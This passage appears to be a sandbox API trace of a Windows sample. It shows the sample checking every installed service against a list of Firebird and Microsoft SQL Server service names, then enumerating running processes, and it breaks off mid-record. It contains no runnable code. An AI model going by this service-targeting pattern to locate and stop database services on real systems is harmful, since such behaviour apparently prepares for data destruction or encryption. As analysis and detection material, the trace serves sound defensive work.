lstrlenW (lpString="DeviceAssociationService") returned 24 [0274.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0274.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0274.368] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0274.368] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0274.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0274.368] lstrlenW (lpString="Dhcp") returned 4 [0274.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0274.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0274.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0274.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0274.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0274.368] lstrlenW (lpString="Dnscache") returned 8 [0274.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0274.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0274.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0274.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0274.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0274.368] lstrlenW (lpString="DPS") returned 3 [0274.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0274.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0274.368] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0274.368] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0274.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0274.369] lstrlenW (lpString="DusmSvc") returned 7 [0274.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0274.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0274.369] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0274.369] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0274.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0274.369] lstrlenW (lpString="EventLog") returned 8 [0274.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0274.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0274.369] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0274.369] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0274.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0274.369] lstrlenW (lpString="EventSystem") returned 11 [0274.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0274.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0274.369] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0274.369] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0274.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0274.369] lstrlenW (lpString="FontCache") returned 9 [0274.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0274.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0274.369] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0274.369] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0274.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0274.369] lstrlenW (lpString="gpsvc") returned 5 [0274.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0274.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0274.369] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0274.369] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0274.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0274.369] lstrlenW (lpString="iphlpsvc") returned 8 [0274.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0274.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0274.370] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0274.370] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0274.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0274.370] lstrlenW (lpString="KeyIso") returned 6 [0274.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0274.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0274.370] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0274.370] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0274.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0274.370] lstrlenW (lpString="LanmanServer") returned 12 [0274.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0274.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0274.370] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0274.370] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0274.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0274.370] lstrlenW (lpString="LanmanWorkstation") returned 17 [0274.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0274.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0274.370] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0274.370] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0274.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0274.370] lstrlenW (lpString="lfsvc") returned 5 [0274.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0274.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0274.370] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0274.370] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0274.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0274.370] lstrlenW (lpString="lmhosts") returned 7 [0274.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0274.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0274.370] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0274.370] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0274.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0274.371] lstrlenW (lpString="LSM") returned 3 [0274.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0274.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0274.371] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0274.371] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0274.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0274.371] lstrlenW (lpString="MpsSvc") returned 6 [0274.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0274.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0274.371] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0274.371] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0274.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0274.371] lstrlenW (lpString="NcbService") returned 10 [0274.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0274.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0274.371] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0274.371] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0274.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0274.371] lstrlenW (lpString="netprofm") returned 8 [0274.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0274.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0274.371] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0274.371] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0274.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0274.371] lstrlenW (lpString="NgcSvc") returned 6 [0274.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0274.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0274.371] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0274.371] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0274.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0274.371] lstrlenW (lpString="NlaSvc") returned 6 [0274.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0274.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0274.372] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0274.372] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0274.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0274.372] lstrlenW (lpString="nsi") returned 3 [0274.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0274.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0274.372] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0274.372] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0274.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0274.372] lstrlenW (lpString="PcaSvc") returned 6 [0274.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0274.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0274.372] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0274.372] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0274.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0274.372] lstrlenW (lpString="PlugPlay") returned 8 [0274.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0274.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0274.372] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0274.372] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0274.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0274.372] lstrlenW (lpString="Power") returned 5 [0274.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0274.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0274.372] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0274.372] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0274.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0274.372] lstrlenW (lpString="ProfSvc") returned 7 [0274.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0274.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0274.373] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0274.373] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0274.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0274.373] lstrlenW (lpString="RpcEptMapper") returned 12 [0274.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0274.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0274.373] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0274.373] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0274.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0274.373] lstrlenW (lpString="RpcSs") returned 5 [0274.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0274.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0274.373] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0274.373] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0274.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0274.373] lstrlenW (lpString="SamSs") returned 5 [0274.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0274.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0274.373] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0274.373] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0274.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0274.373] lstrlenW (lpString="Schedule") returned 8 [0274.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0274.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0274.373] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0274.373] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0274.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0274.373] lstrlenW (lpString="SecurityHealthService") returned 21 [0274.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0274.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0274.373] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0274.373] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0274.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0274.373] lstrlenW (lpString="SENS") returned 4 [0274.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0274.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0274.374] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0274.374] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0274.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0274.374] lstrlenW (lpString="ShellHWDetection") returned 16 [0274.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0274.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0274.374] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0274.374] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0274.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0274.374] lstrlenW (lpString="Spooler") returned 7 [0274.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0274.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0274.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0274.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0274.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0274.374] lstrlenW (lpString="StateRepository") returned 15 [0274.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0274.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0274.374] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0274.374] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0274.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0274.374] lstrlenW (lpString="SysMain") returned 7 [0274.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0274.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0274.374] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0274.374] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0274.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0274.374] lstrlenW (lpString="SystemEventsBroker") returned 18 [0274.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0274.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0274.375] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0274.375] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0274.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0274.375] lstrlenW (lpString="Themes") returned 6 [0274.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0274.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0274.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0274.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0274.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0274.375] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0274.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0274.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0274.375] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0274.375] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0274.375] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3faf028 | out: hHeap=0x630000) returned 1 [0274.375] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10bc [0274.764] Process32FirstW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.764] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0274.765] lstrlenW (lpString="System") returned 6 [0274.765] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0274.766] lstrlenW (lpString="smss.exe") returned 8 [0274.766] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.766] lstrlenW (lpString="csrss.exe") returned 9 [0274.767] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0274.767] lstrlenW (lpString="wininit.exe") returned 11 [0274.767] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.768] lstrlenW (lpString="csrss.exe") returned 9 [0274.768] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0274.769] lstrlenW (lpString="winlogon.exe") returned 12 [0274.769] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0274.770] lstrlenW (lpString="services.exe") returned 12 [0274.770] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0274.770] lstrlenW (lpString="lsass.exe") returned 9 [0274.770] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0274.771] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0274.771] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0274.772] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0274.772] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.772] lstrlenW (lpString="svchost.exe") returned 11 [0274.773] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.773] lstrlenW (lpString="svchost.exe") returned 11 [0274.773] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0274.774] lstrlenW (lpString="dwm.exe") returned 7 [0274.774] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.775] lstrlenW (lpString="svchost.exe") returned 11 [0274.775] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.775] lstrlenW (lpString="svchost.exe") returned 11 [0274.775] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.776] lstrlenW (lpString="svchost.exe") returned 11 [0274.776] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.777] lstrlenW (lpString="svchost.exe") returned 11 [0274.777] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.778] lstrlenW (lpString="svchost.exe") returned 11 [0274.778] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.778] lstrlenW (lpString="svchost.exe") returned 11 [0274.778] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.779] lstrlenW (lpString="svchost.exe") returned 11 [0274.781] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, 